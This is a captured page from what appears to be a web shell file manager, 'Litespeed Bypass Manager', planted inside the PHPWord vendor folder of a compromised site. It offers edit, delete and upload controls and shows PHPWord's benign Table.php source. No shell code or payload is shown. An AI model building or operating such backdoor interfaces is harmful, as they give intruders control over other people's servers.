Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 AbstractElement.php
Edit
Hapus
📄 Container.php
Edit
Hapus
📄 Endnote.php
Edit
Hapus
📄 Footnote.php
Edit
Hapus
📄 Image.php
Edit
Hapus
📄 Link.php
Edit
Hapus
📄 ListItem.php
Edit
Hapus
📄 PageBreak.php
Edit
Hapus
📄 Table.php
Edit
Hapus
📄 Text.php
Edit
Hapus
📄 TextBreak.php
Edit
Hapus
📄 TextRun.php
Edit
Hapus
📄 Title.php
Edit
Hapus
Edit File: Table.php
<?php /** * This file is part of PHPWord - A pure PHP library for reading and writing * word processing documents. * * PHPWord is free software distributed under the terms of the GNU Lesser * General Public License version 3 as published by the Free Software Foundation. * * For the full copyright and license information, please read the LICENSE * file that was distributed with this source code. For the full list of * contributors, visit https://github.com/PHPOffice/PHPWord/contributors. * * @see https://github.com/PHPOffice/PHPWord * @copyright 2010-2017 PHPWord contributors * @license http://www.gnu.org/licenses/lgpl.txt LGPL version 3 */ namespace PhpOffice\PhpWord\Writer\HTML\Element; /** * Table element HTML writer * * @since 0.10.0 */ class Table extends AbstractElement { /** * Write table * * @return string */ public function write() { if (!$this->element instanceof \PhpOffice\PhpWord\Element\Table) { return ''; } $content = ''; $rows = $this->element->getRows(); $rowCount = count($rows); if ($rowCount > 0) { $content .= '<table>' . PHP_EOL; foreach ($rows as $row) { /** @var $row \PhpOffice\PhpWord\Element\Row Type hint */ $rowStyle = $row->getStyle(); // $height = $row->getHeight(); $tblHeader = $rowStyle->isTblHeader(); $content .= '<tr>' . PHP_EOL; foreach ($row->getCells() as $cell) { $writer = new Container($this->parentWriter, $cell); $cellTag = $tblHeader ? 'th' : 'td'; $content .= "<{$cellTag}>" . PHP_EOL; $content .= $writer->write(); $content .= "</{$cellTag}>" . PHP_EOL; } $content .= '</tr>' . PHP_EOL; } $content .= '</table>' . PHP_EOL; } return $content; } }
Simpan
Catatan: Mengedit file biner tidak disarankan.